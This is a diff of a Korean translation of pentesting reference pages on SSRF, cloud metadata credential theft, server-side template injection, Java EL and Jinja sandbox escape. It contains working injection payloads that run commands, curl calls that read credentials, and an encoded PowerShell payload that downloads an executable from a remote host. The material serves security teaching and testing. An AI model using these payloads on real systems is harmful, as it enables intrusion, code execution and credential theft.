**자세한 정보**는 이 공격이 설명된 강의를 확인하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
자세한 정보는 이 공격이 설명된 강의를 확인하세요: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## 블라인드 SSRF
블라인드 SSRF와 비블라인드 SSRF의 차이는 블라인드에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 용할 수 있기 때문에 더 어렵습니다.
블라인드 SSRF와 비블라인드 SSRF의 차이는 블라인드에서는 SSRF 요청의 응답을 볼 수 없다는 것입니다. 따라서 잘 알려진 취약점만을 용할 수 있기 때문에 더 어렵습니다.
### 시간 기반 SSRF
@ -304,7 +304,7 @@ cloud-ssrf.md
## SSRF 취약한 플랫폼
여러 알려진 플랫폼에는 SSRF 취약점이 포함되어 있거나 포함된 적이 있습니다. 확인해 보세요:
여러 알려진 플랫폼이 SSRF 취약점을 포함하거나 포함한 적이 있으니, 확인해 보세요:
{{#ref}}
ssrf-vulnerable-platforms.md
@ -318,7 +318,7 @@ SSRF 취약점을 탐지하고 악용하는 도구입니다.
### [Gopherus](https://github.com/tarunkant/Gopherus)
- [Gopherus에 대한 블로그 게시물](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
- [Gopherus에 대한 블로그 포스트](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
이 도구는 다음을 위한 Gopher 페이로드를 생성합니다:
@ -331,7 +331,7 @@ SSRF 취약점을 탐지하고 악용하는 도구입니다.
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [SSRF 사용에 대한 블로그 게시물](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
- [SSRF 사용에 대한 블로그 포스트](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_는 대부분의 일반적인 _Java RMI_ 취약점에 대한 공격 작업을 지원하는 _Java RMI_ 취약점 스캐너입니다. 사용 가능한 대부분의 작업은 요청된 작업에 대한 _SSRF_ 페이로드를 생성하기 위해 `--ssrf` 옵션을 지원합니다. `--gopher` 옵션과 함께 사용하면 즉시 사용할 수 있는 _gopher_ 페이로드를 직접 생성할 수 있습니다.

View File

@ -8,7 +8,7 @@
**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **토큰**을 요청하기 위해 **PUT** 요청을 보내고 **HTTP 헤더**를 사용해야 하며, 그 후에 또 다른 HTTP 헤더를 사용하여 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).
메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **토큰**을 요청하기 위해 **PUT** 요청을 보내고 **HTTP 헤더**를 사용해야 하며, 그 후에 해당 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).
> [!CAUTION]
> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
@ -96,7 +96,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
**ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다.
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**를 읽어야 합니다.\
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 하지만 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**를 읽어야 합니다.\
**Path Traversal**을 이용해 `file:///proc/self/environ`을 읽을 수 있습니다.\
언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다.
```bash
@ -118,7 +118,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.
> [!WARNING]
> **람다 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 람다 코드의 **스택 추적**이 환경 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
> **lambda 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 lambda 코드의 **스택 추적**이 환경 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
### AWS Elastic Beanstalk에 대한 SSRF URL <a href="#id-6f97" id="id-6f97"></a>

View File

@ -151,20 +151,20 @@ https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
### 퍼징
The tool [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 regex를 우회하려고 시도할 수 있습니다. 더 많은 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
도구 [**recollapse**](https://github.com/0xacb/recollapse)는 주어진 입력에서 변형을 생성하여 사용된 정규 표현식을 우회하려고 시도할 수 있습니다. 추가 정보는 [**이 게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
### Automatic Custom Wordlists
### 자동 맞춤 단어 목록
[**URL validation bypass cheat sheet** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해보세요. 여기서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성해줍니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 고려합니다.
포트스위거의 [**URL 검증 우회 치트 시트** 웹앱](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)을 확인해 보세요. 여기서 허용된 호스트와 공격자의 호스트를 입력하면 시도할 URL 목록을 생성니다. 또한 URL을 매개변수, Host 헤더 또는 CORS 헤더에서 사용할 수 있는지 고려합니다.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
### 리디렉션을 통한 우회
서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로 이동할 수 있으며, 필터링된 IP 주소인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
서버가 SSRF의 **원래 요청을 필터링**하고 **리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [파이썬 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하여 리디렉션하려는 위치로 이동하면 **필터링된 IP 주소**인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -190,7 +190,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### 백슬래시 트릭
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시니다.
_백슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시하는 데 있습니다.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)

View File

@ -1,11 +1,11 @@
# SSTI (서버 측 템플릿 주입)
# SSTI (서버 사이드 템플릿 인젝션)
{{#include ../../banners/hacktricks-training.md}}
## SSTI (서버 측 템플릿 주입)란 무엇인가
## SSTI (서버 사이드 템플릿 인젝션)란 무엇인가
서버 측 템플릿 주입은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.
서버 사이드 템플릿 인젝션은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다.
Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔진입니다. Jinja를 사용한 취약한 코드 스니펫을 보여주는 예를 고려해 봅시다:
```python
@ -13,7 +13,7 @@ output = template.render(name=request.args.get('name'))
```
이 취약한 코드에서 사용자의 요청으로부터 `name` 매개변수가 `render` 함수를 사용하여 템플릿에 직접 전달됩니다. 이는 공격자가 `name` 매개변수에 악성 코드를 주입할 수 있게 하여 서버 측 템플릿 주입으로 이어질 수 있습니다.
예를 들어, 공격자는 다음과 같은 페이로드를 포함한 요청을 만들 수 있습니다:
예를 들어, 공격자는 다음과 같은 페이로드로 요청을 조작할 수 있습니다:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
@ -25,14 +25,14 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표에는 다음이 포함됩니다:
- 취약점을 드러내고 잠재적으로 템플릿 엔진을 노출하는 오류 발생.
- 반사에서 페이로드가 없거나 일부가 누락되어 서버가 이를 일반 데이터와 다르게 처리함을 암시.
- 취약점을 드러내는 오류 발생, 잠재적으로 템플릿 엔진을 노출.
- 반사에서 페이로드가 없거나 일부가 누락되어, 서버가 이를 일반 데이터와 다르게 처리함을 암시.
- **평문 컨텍스트**: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구별 (예: `{{7*7}}`, `${7*7}`).
- **코드 컨텍스트**: 입력 매개변수를 변경하여 취약점을 확인. 예를 들어, `http://vulnerable-website.com/?greeting=data.username`에서 `greeting`을 변경하여 서버의 출력이 동적 또는 고정인지 확인, `greeting=data.username}}hello`가 사용자 이름을 반환하는지 확인.
#### 식별 단계
템플릿 엔진을 식별하려면 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트해야 합니다. 오류를 유발하는 일반적인 페이로드에는 `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`가 포함됩니다. 수학적 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다.
템플릿 엔진을 식별하기 위해 오류 메시지를 분석하거나 다양한 언어별 페이로드를 수동으로 테스트합니다. 오류를 유발하는 일반적인 페이로드에는 `${7/0}`, `{{7/0}}`, `<%= 7/0 %>`가 포함됩니다. 수학적 연산에 대한 서버의 응답을 관찰하면 특정 템플릿 엔진을 파악하는 데 도움이 됩니다.
#### 페이로드에 의한 식별
@ -170,11 +170,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되어야 합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다.
그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다.
Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다:
Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 표현식 구성에 활용될 수 있으며, Thymeleaf의 문서에서 설명된 바와 같습니다:
```java
#{selection.__${sel.code}__}
```
@ -190,7 +190,7 @@ Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`_
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**더 많은 정보**
**추가 정보**
- [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
@ -204,7 +204,7 @@ el-expression-language.md
```
**필터 우회**
여러 변수 표현식을 사용할 수 있으며, `${...}`가 작동하지 않으면 `#{...}`, `*{...}`, `@{...}` 또는 `~{...}`를 시도해 보십시오.
여러 변수 표현식을 사용할 수 있으며, `${...}`가 작동하지 않으면 `#{...}`, `*{...}`, `@{...}` 또는 `~{...}`를 시도해 보세요.
- `/etc/passwd` 읽기
```java
@ -258,7 +258,7 @@ el-expression-language.md
- `{{ someString.toUPPERCASE() }}`
구버전 Pebble ( < version 3.0.9):
Pebble의 이전 버전 ( < version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
@ -294,7 +294,7 @@ Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, [https://githu
**Jinjava - 명령 실행**
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정됨
[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정됨.
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -609,12 +609,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
```
**더 많은 정보**
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 의 Jade 섹션
- Jade 섹션은 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)에서 확인할 수 있습니다.
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) 비컴파일 PHP 템플릿 엔진으로, XML 태그를 사용하여 문서를 여러 부분으로 나눕니다.
> [patTemplate](https://github.com/wernerwa/pat-template)는 XML 태그를 사용하여 문서를 여러 부분으로 나누는 비컴파일 PHP 템플릿 엔진입니다.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -632,7 +632,7 @@ Hello {NAME}.<br/>
### Handlebars (NodeJS)
경로 탐색 (자세한 정보는 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)에서 확인하세요).
경로 탐색 (자세한 정보는 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)를 참조하세요).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -669,12 +669,12 @@ URLencoded:
### JsRender (NodeJS)
| **템플릿** | **설명** |
| ---------- | ------------------------------------- |
| | 출력 평가 및 렌더링 |
| | HTML 인코딩된 출력 평가 및 렌더링 |
| | 주석 |
| 및 | 코드 허용 (기본적으로 비활성화됨) |
| **템플릿** | **설명** |
| ---------- | ------------------------------------ |
| | 출력 평가 및 렌더링 |
| | HTML 인코딩된 출력 평가 및 렌더링 |
| | 주석 |
| 및 | 코드 허용 (기본적으로 비활성화됨) |
- \= 49
@ -859,7 +859,7 @@ range.constructor(
```
[**RCE는**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`에 의존하지 않습니다:
[**RCE는**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`에 의존하지 않:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
@ -909,9 +909,9 @@ ${x}
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcw0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 모든 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 확인할 수 있습니다.
.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 모든 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 찾을 수 있습니다.
**더 많은 정보**
@ -941,9 +941,9 @@ ${x}
<%= perl code %>
<% perl code %>
```
### GO에서의 SSTI
### SSTI in GO
Go의 템플릿 엔진에서 사용 여부 확인은 특정 페이로드로 수행할 수 있습니다:
Go의 템플릿 엔진에서 사용 확인은 특정 페이로드로 수행할 수 있습니다:
- `{{ . }}`: 데이터 구조 입력을 드러냅니다. 예를 들어, `Password` 속성이 있는 객체가 전달되면, `{{ .Password }}`가 이를 노출할 수 있습니다.
- `{{printf "%s" "ssti" }}`: 문자열 "ssti"를 표시할 것으로 예상됩니다.
@ -951,17 +951,17 @@ Go의 템플릿 엔진에서 사용 여부 확인은 특정 페이로드로 수
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS 취약점 이용**
**XSS Exploitation**
`text/template` 패키지를 사용하면 페이로드를 직접 삽입하여 XSS를 간단하게 수행할 수 있습니다. 반면, `html/template` 패키지는 응답을 인코딩하여 이를 방지합니다 (예: `{{"<script>alert(1)</script>"}}``&lt;script&gt;alert(1)&lt;/script&gt;`로 결과가 나옵니다). 그럼에도 불구하고 Go에서 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE 취약점 이용**
**RCE Exploitation**
RCE 취약점 이용`html/template``text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
RCE 취약점은 `html/template``text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있다면, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()

View File

@ -15,7 +15,7 @@ Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹
- **Spring Framework**: Security 및 Data와 같은 다양한 모듈에서 적용됩니다.
- **일반 사용**: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다.
EL은 JavaEE 기술, 독립 실행 환경에 존재하며, `.jsp` 또는 `.jsf` 파일 확장자, 스택 오류 및 헤더의 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 특정 기능과 특정 문자의 사용은 버전 의존적일 수 있습니다.
EL은 JavaEE 기술, 독립 실행 환경에 존재하며, `.jsp` 또는 `.jsf` 파일 확장자, 스택 오류 및 헤더의 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 특정 기능과 특정 문자의 사용은 버전에 따라 다를 수 있습니다.
> [!NOTE]
> **EL 버전**에 따라 일부 **기능**이 **켜져** 있거나 **꺼져** 있을 수 있으며, 일반적으로 일부 **문자**는 **허용되지 않을 수** 있습니다.
@ -24,12 +24,14 @@ EL은 JavaEE 기술, 독립 실행 환경에 존재하며, `.jsp` 또는 `.jsf`
(EL에 대한 또 다른 흥미로운 튜토리얼은 [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)에서 찾을 수 있습니다.)
다음 `Main.java` 파일을 만들기 위해 [**Maven**](https://mvnrepository.com) 저장소에서 jar 파일을 다운로드하세요:
다음 `Main.java` 파일을 만들기 위해 [**Maven**](https://mvnrepository.com) 저장소에서 jar 파일을 다운로드합니다:
- `commons-lang3-3.9.jar`
- `spring-core-5.2.1.RELEASE.jar`
- `commons-logging-1.2.jar`
- `spring-expression-5.2.1.RELEASE.jar`
그리고 다음 `Main.java` 파일을 생성합니다:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
@ -50,7 +52,7 @@ System.out.println(result);
}
}
```
다음 코드를 컴파일합니다 (만약 `javac`가 설치되어 있지 않다면, `sudo apt install default-jdk`를 설치하세요):
다음으로 코드를 컴파일합니다 (만약 `javac`가 설치되어 있지 않다면, `sudo apt install default-jdk`를 설치하세요):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```

View File

@ -60,12 +60,12 @@ app.run()
```
## **Jinja Injection**
우선, Jinja injection에서는 **샌드박스에서 탈출할 방법을 찾아야** 하며, 일반적인 파이썬 실행 흐름에 접근을 복구해야 합니다. 이를 위해 **객체를 악용해야** 하며, 이 객체들은 **비샌드박스 환경에서 오지만 샌드박스에서 접근할 수 있는** 객체들입니다.
우선, Jinja injection에서는 **샌드박스에서 탈출할 방법을 찾아야** 하며, 일반적인 파이썬 실행 흐름에 접근을 복구해야 합니다. 이를 위해 **비샌드박스 환경에서 온 객체를 악용해야** 하며, 이 객체는 **샌드박스에서 접근할 수 있습니다**.
### Global Objects 접근하기
예를 들어, 코드 `render_template("hello.html", username=username, email=email)`에서 객체 username과 email은 **비샌드박스 파이썬 환경에서 오며** **샌드박스 환경 내에서 접근할 수 있습니다.**\
게다가, **샌드박스 환경에서 항상 접근할 수 있는** 다른 객체들도 있습니다. 이들은:
예를 들어, 코드 `render_template("hello.html", username=username, email=email)`에서 객체 username과 email은 **비샌드박스 파이썬 환경에서 오며** **샌드박스 환경 내에서 접근할 수 있습니다**.\
게다가, **샌드박스 환경에서 항상 접근할 수 있는** 다른 객체들도 있습니다. 이러한 객체들은:
```
[]
''
@ -76,9 +76,9 @@ request
```
### Recovering \<class 'object'>
그런 다음, 이러한 객체에서 **`<class 'object'>`** 클래스에 도달해야 정의된 **클래스**를 **복구**하려고 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스** python 환경의 모든 클래스를 **접근**할 수 있기 때문입니다.
그런 다음, 이러한 객체에서 **`<class 'object'>`** 클래스를 얻어 정의된 **클래스**를 **복구**하려고 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하고 **비샌드박스**된 파이썬 환경의 모든 클래스를 **접근**할 수 있기 때문입니다.
**객체 클래스**에 접근하려면 **클래스 객체**에 접근한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 접근해야 합니다. 그리고 나서, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**합니다.
